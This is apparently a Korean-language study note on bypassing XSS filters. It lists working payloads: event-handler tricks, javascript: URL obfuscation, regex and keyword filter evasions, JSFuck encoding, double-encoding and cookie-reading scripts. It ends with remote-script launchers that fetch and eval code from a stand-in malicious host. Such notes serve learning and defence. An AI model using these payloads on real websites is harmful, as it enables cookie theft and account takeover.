[2025-07-28] XSS Filtering Bypass
๐ฆฅ ๋ณธ๋ฌธ
๋ถ์ถฉ๋ถํ XSS ํํฐ๋ง
์ด๋ฒคํธ ํธ๋ค๋ฌ ์์ฑ
์ด๋ฒคํธ ํธ๋ค๋ฌ : ์ด๋ฒคํธ๋ฅผ ์ฒ๋ฆฌํ๊ธฐ ์ํ ์ฝ๋ฐฑ ํํ์ ํธ๋ค๋ฌ ํจ์
- onload : ๋ฐ์ดํฐ๊ฐ ๋ก๋ํ ํ ์คํ
- onerror : ๋ฐ์ดํฐ๋ฅผ ๋ก๋ํ๋๋ฐ ์คํจํ ์ ์คํ
- onfocus : ์ปค์๋ฅผ ํด๋ฆญํ์ฌ ํฌ์ปค์ค๊ฐ ๋๋ฉด ์คํ
- autofocus : ์๋์ผ๋ก ํฌ์ปค์ค
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus> //ํด์ ๊ธฐ๋ฐ ์๋ ํฌ์ปค์ค http://dreamhack.io/#inputID URL์ #์ผ๋ก ์ ๊ทผํ๋ฉด ํฌ์ปค์ค
๋ฌธ์์ด ์นํ
- ํํฐ๋ง ์ฐํ
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
โ ๋ฌธ์์ด์ ๋ณํ๊ฐ ์์ ๋๊น์ง ์ง์์ ์ผ๋ก ์นํํ๋ ๋ฐฉ์
function replaceIterate(text) {
while (true) {
var newText = text
.replace(/script|onerror/gi, '');
if (newText === text) break;
text = newText;
}
return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,<svg>" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,<svg>" onload="alert(1)" />
replaceIterate('<ifronerrorame srcdoc="<sonerrorcript>parent.alescronerroriptrt(1)</scrionerrorpt>" />')
--> <iframe srcdoc="<>parent.alert(1)</>" />
ํ์ง๋ง ๋ฏธ์ฒ ๊ณ ๋ คํ์ง ๋ชปํ ๊ตฌ๋ฌธ์ ์กด์ฌ, WAF ๋ฐฉ์ด ๋ฌด๋ ฅํ๋ ๋์ผ
ํ์ฑ ํ์ดํผ๋งํฌ
-
javascript:
์คํค๋ง๋ URL ๋ก๋์ ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ๋ ์คํ<a href="javascript:alert(document.domain)">Click me!</a> <iframe src="javascript:alert(document.domain)">
-
๋ธ๋ผ์ฐ์ ๊ฐ URL์ ์ฒ๋ฆฌํ ๋ ์ ๊ทํ ๊ณผ์ ์ฐํ
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a> <iframe src="\1\4jAVasC\triPT:alert(document.domain)">
\x01
,\x04
,\t
๊ฐ์ ํน์๋ฌธ์ ์ ๊ฑฐ- ๋์๋ฌธ์ ํต์ผ
-
HTML Entity Encoding ์ฐํ
<a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a> <iframe src="\1JavasCr\tip&tab;:alert(document.domain);">
โ URL ๊ฐ์ฒด๋ฅผ ํตํด ์ง์ ์ ๊ทํํ์ฌ ํ ์คํธํ ์ ์์
- protocol, hostname ๋ฑ URL ์ ๋ณด ์ถ์ถ ๊ฐ
function normalizeURL(url) {
return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)').href
--> "javascript:alert(1)"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"
ํ๊ทธ์ ์์ฑ ๊ธฐ๋ฐ ํํฐ๋ง
- ๋/์๋ฌธ์ ๊ฒ์ฌ ๋ฏธํก
- ์๋ชป๋ ์ ๊ทํํ์
-
EX) ์คํฌ๋ฆฝํธ ํ๊ทธ ๋ด์ ๋ฐ์ดํฐ๊ฐ ์กด์ฌ-๊ฒ์ฌ ์ ๊ท์๊ณผ ์ฐํ ๋ฐฉ๋ฒ
x => !/<script[^>]*>[^<]/i.test(x) <script src="data:,alert(document.cookie)"></script>
-
EX2)
img
ํ๊ทธ์on
์ด๋ฒคํธ ํธ๋ค๋ฌ ์กด์ฌ ๊ฒ์ฌ ์ ๊ท์๊ณผ ์ฐํ ๋ฐฉ๋ฒx => !/<img.*on/i.test(x) //์ค๋ฐ๊ฟ ๋ฌธ์๋ฅผ ์ด์ฉํ ์ฐํ <img src=""\nonerror="alert(document.cookie)"/>
-
EX3)
script
,img
,input
ํ๊ทธ ๊ฒ์ฌ ๋ฐ ์ฐํx => !/<script|<img|<input/i.test(x) //๋ค๋ฅธ ํ๊ทธ๋ฅผ ์ด์ฉํ ์ฐํ <video><source onerror="alert(document.domain)"/></video> <body onload="alert(document.domain)"/>
-
EX4) on ์ด๋ฒคํธ ํธ๋ค๋ฌ ๊ฒ์ฌ ๋ฐ ๋ฉํฐ ๋ผ์ธ ๊ฒ์ฌ์ ์ฐํ ๋ฐฉ๋ฒ
x => !/<script|<img|<input|<.*on/is.test(x) //iframe์ ํตํ ์ฐํ <iframe src="javascript:alert(parent.document.domain)"> <iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">
-
์๋ฐ์คํฌ๋ฆฝํธ ํจ์ ๋ฐ ํค์๋ ํํฐ๋ง
- Unicode escape sequence ์ฐํ:
โ\uAC00โ == โ๊ฐโ
์ฒ๋ผ ์ ๋์ฝ๋ ๋ฌธ์๋ฅผ ์ฝ๋ํฌ์ธํธ๋ก ๋ํ๋ผ ์ ์๋ ํํ๋ฒ์ ํตํ ์ฐํ
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
- Computed member access ์ฐํ : ํน์ ์์ฑ์ ์ ๊ทผํ ๋ ์์ฑ ์ด๋ฆ์ ๋์ ์ผ๋ก ๊ณ์ฐํ๋ ๊ธฐ๋ฅ
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
- ํค์๋ ํํฐ๋ง ์ฐํ
| ๊ตฌ๋ฌธ | ๋์ฒด ๊ตฌ๋ฌธ |
| โ | โ |
| alert
, XMLHttpRequest
๋ฑ ๋ฌธ์ ์ต์์ ๊ฐ์ฒด ๋ฐ ํจ์ | window['al'+'ert']
, window['XMLHtt'+'pRequest']
๋ฑ ์ด๋ฆ ๋์ด์ ์ฐ๊ธฐ |
| window
| self
, this
|
| eval(code)
| Function(code)()
|
| Function
| isNaN['constr'+'uctor']
๋ฑ ํจ์์ constructor
์์ฑ ์ ๊ทผ |
[
,]
,(
,)
,!
,+
์ ์ด์ฉํ์ฌ ์๋ฐ์คํฌ๋ฆฝํธ์ ๋์ ์ํ ๊ฐ๋ฅ
alert(1)
->
[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[+!+[]]]+[+!+[]]+([]+[]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[!+[]+!+[]]])
false => ![]
true => !![]
-
https://jsfuck.com/
- ๋ฌธ์์ด
-
ํ ํ๋ฆฟ ๋ฆฌํฐ๋ด :
[
,]
,(
,)
,โ
,โ
์ด ํํฐ๋ง๋์ด ์์ ๋ ๋ฌธ์์ด ๋ฆฌํฐ๋ด. ๋ฐฑํฑ(``` )์ผ๋ก ๊ฐ์ธ์ ๋ฌธ์์ด ์ ์. ๋ณ์๋ ์์${}
์์ ๋ฃ์ด ๋ฌธ์์ด ์ค๊ฐ์ ์ฝ์ ๊ฐ๋ฅvar foo = "Hello"; var bar = "World"; var baz = `${foo}, ${bar} ${1+1}.`; // "Hello,\nWorld 2."
-
RegExp ๊ฐ์ฒด ์ฌ์ฉ : RegExp ๊ฐ์ฒด ์์ฑํ๊ณ ๊ฐ์ฒด์ ํจํด ๋ถ๋ถ์ ๊ฐ์ ธ์์ ๋ฌธ์์ด ์์ฑ ๊ฐ๋ฅ
var foo = /Hello World!/.source; // "Hello World!" var bar = /test !/ + []; // "/test !/"
- String.fromCharCode ํจ์ ์ฌ์ฉ
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
- ๊ธฐ๋ณธ ๋ด์ฅ ํจ์๋ ๊ฐ์ฒด์ ๋ฌธ์ ์ฌ์ฉ :
toString
ํจ์๋ฅผ ์ด์ฉํด ๋ฌธ์์ด๋ก ๋ณํ
//history.toString() => [object History] ๋ฐํ var baz = history.toString()[8] + // "H" //์ฐ์ ์ฐ์ฐ ์ ๊ฐ์ฒด ๋ด๋ถ์ ์ผ๋ก ๋ฌธ์์ด ๋ณํ (history+[])[9] + // "i" //URL.toString() => function URL(){[native code]} ๋ฐํ (URL+0)[12] + // "(" (URL+0)[13]; // ")" ==> "Hi()"
- ์ซ์ ๊ฐ์ฒด์ ์ง๋ฒ ๋ณํ : ์์คํค ์ฝ๋๋ฅผ ์ด์ฉ. ๋ฌธ๋ฒ ์๋ฌ๋ฅผ ํผํ๊ธฐ ์ํด ๊ดํธ, ์ ๋๊ฐ, ๊ณต๋ฐฑ๊ณผ ์ ์ ์ด์ฉ
var foo = (29234652).toString(36); // "hello" var foo = 29234652..toString(36); // "hello" var bar = 29234652 .toString(36); // "hello"
-
-
ํจ์ ํธ์ถ : ํจ์ ํธ์ถ์ ์ํด์๋ ์๊ดํธ ๋๋ ๋ฐฑํฑ ์ฌ์ฉ.
alert(1); // Parentheses alert`1`; // Tagged Templates
-
javascript:
์คํค๋ง๋ฅผ ์ด์ฉํ location ๋ณ๊ฒฝlocation="javascript:alert\x28document.domain\x29;"; location.href="javascript:alert\u0028document.domain\u0029;"; location['href']="javascript:alert\050document.domain\051;";
Symbol.hasInstance
์ค๋ฒ๋ผ์ด๋ฉ :Symbol.hasInstance
well-known symbol์ ์ด์ฉํ๋ฉดinstanceof
์ฐ์ฐ์๋ฅผ ์ค๋ฒ๋ผ์ด๋- Symbol : ์์ ๋ฐ์ดํฐ ํ์ . ์ ์ผํ๊ณ ๋ณ๊ฒฝ ๋ถ๊ฐ๋ฅํ ๊ฐ ์์ฑ
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval}; Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
-
document.body.innerHTML
์ถ๊ฐ : ๋ฌธ์ ๋ด ์๋ก์ด HTML ์ฝ๋ ์ถ๊ฐ ๊ฐ๋ฅ. ํ์ง๋ง<sciprt>
ํ๊ทธ๋ ์ฝ์ ํด๋ ์คํ ๋ถ๊ฐdocument.body.innerHTML+="<img src=x: onerror=alert(1)>"; document.body.innerHTML+="<body src=x: onload=alert(1)>";
-
๋์ฝ๋ฉ ์ ํํฐ๋ง
๋๋ธ ์ธ์ฝ๋ฉ : ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ ๋ฌ๋ฐ์ ๋ฐ์ดํฐ๋ฅผ ๋ค์ ๋์ฝ๋ฉํด์ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ ๋ฐ์. ์น ๋ฐฉํ๋ฒฝ์ ๊ฒ์ฆ ์ฐํ ๊ฐ๋ฅ
- ๋์ ํ๋ฆ ์์
- ๊ณต๊ฒฉ์๊ฐ ๋๋ธ URL ์ธ์ฝ๋ฉํ ๊ณต๊ฒฉ ์ฝ๋
%253Cscript%253Eโฆ
- ์น ๋ฐฉํ๋ฒฝ์ด ํด๋น ๋ฐ์ดํฐ๋ฅผ ๋์ฝ๋ฉ ํ ๊ฒ์ฆ. ๋์ฝ๋ฉํ ๊ฒฐ๊ณผ
%253Cscript%253Eโฆ
์์ ํ๋ค๊ณ ํ๋จ - ์ ํ๋ฆฌ์ผ์ด์
์ด ํด๋น ๋ฐ์ดํฐ๋ฅผ ๋์ฝ๋ฉํ์ฌ
<script>
๋ฅผ ๊ฒ์ํ DB์ ์ ์ฅ - ํฌ์์๊ฐ ํด๋น ๊ฒ์๊ธ์ ์ฝ์ผ๋ฉด XSS ๋ฐ์
- ๊ณต๊ฒฉ์๊ฐ ๋๋ธ URL ์ธ์ฝ๋ฉํ ๊ณต๊ฒฉ ์ฝ๋
๋๋ธ ๋์ฝ๋ฉ : ์ ํ๋ฆฌ์ผ์ด์ ๊ฒ์ฆ ๋ก์ง ์ดํ์๋ ๋์ฝ๋ฉ์ ํ๋ ๊ฒฝ์ฐ ๋ฐ์.
-
EX)
<?php $query = $_GET["query"]; if (stripos($query, "<script>") !== FALSE) { header("HTTP/1.1 403 Forbidden"); die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8")); } ... $searchQuery = urldecode($_GET["query"]); ?> <h1>Search results for: <?php echo $searchQuery; ?></h1> //๊ณต๊ฒฉ ์คํจ ์์ POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1 ... ----- HTTP/1.1 403 Forbidden XSS attempt detected: <script>alert(document.cookie)</script> //๋๋ธ ์ธ์ฝ๋ฉ์ ํตํ ๊ณต๊ฒฉ ์ฑ๊ณต POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1 ... ----- HTTP/1.1 200 OK <h1>Search results for: <script>alert(document.cookie)</script></h1>
๊ธธ์ด ์ ํ
๊ธธ์ด ์ ํ์ ๊ฒฝ์ฐ, ๋ค๋ฅธ ๊ฒฝ๋ก๋ก ์คํํ ์ถ๊ฐ์ ์ธ ์ฝ๋(payload)๋ฅผ URL fragment๋ก ์ฝ์ ํ, ์ฝ์ ์ง์ ์์ ๋ณธ ์ฝ๋๋ฅผ ์คํํ๋ ์งง์ ์ฝ๋ (launcher)๋ฅผ ์ฌ์ฉ ๊ฐ๋ฅ
-
Fragment๋ก ์คํฌ๋ฆฝํธ๋ฅผ ๋๊ฒจ์ค ํ XSS ์ง์ ์์
location.hash
๋ก URL์ Fragment ๋ถ๋ถ์ ์ถ์ถํ์ฌeval()
๋ก ์คํํ๋ ๊ธฐ๋ฒhttps://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
- ์ฟ ํค์ ํ์ด๋ก๋๋ฅผ ์ ์ฅํ๋ ๋ฐฉ์
-
import
๊ฐ์ ์ธ๋ถ ์์์ ์คํฌ๋ฆฝํธ๋ก ๋ก๋ํ๋ ๋ฐฉ์import("http://malice.dreamhack.io"); var e = document.createElement('script') e.src='http://malice.dreamhack.io'; document.appendChild(e); fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))
Leave a comment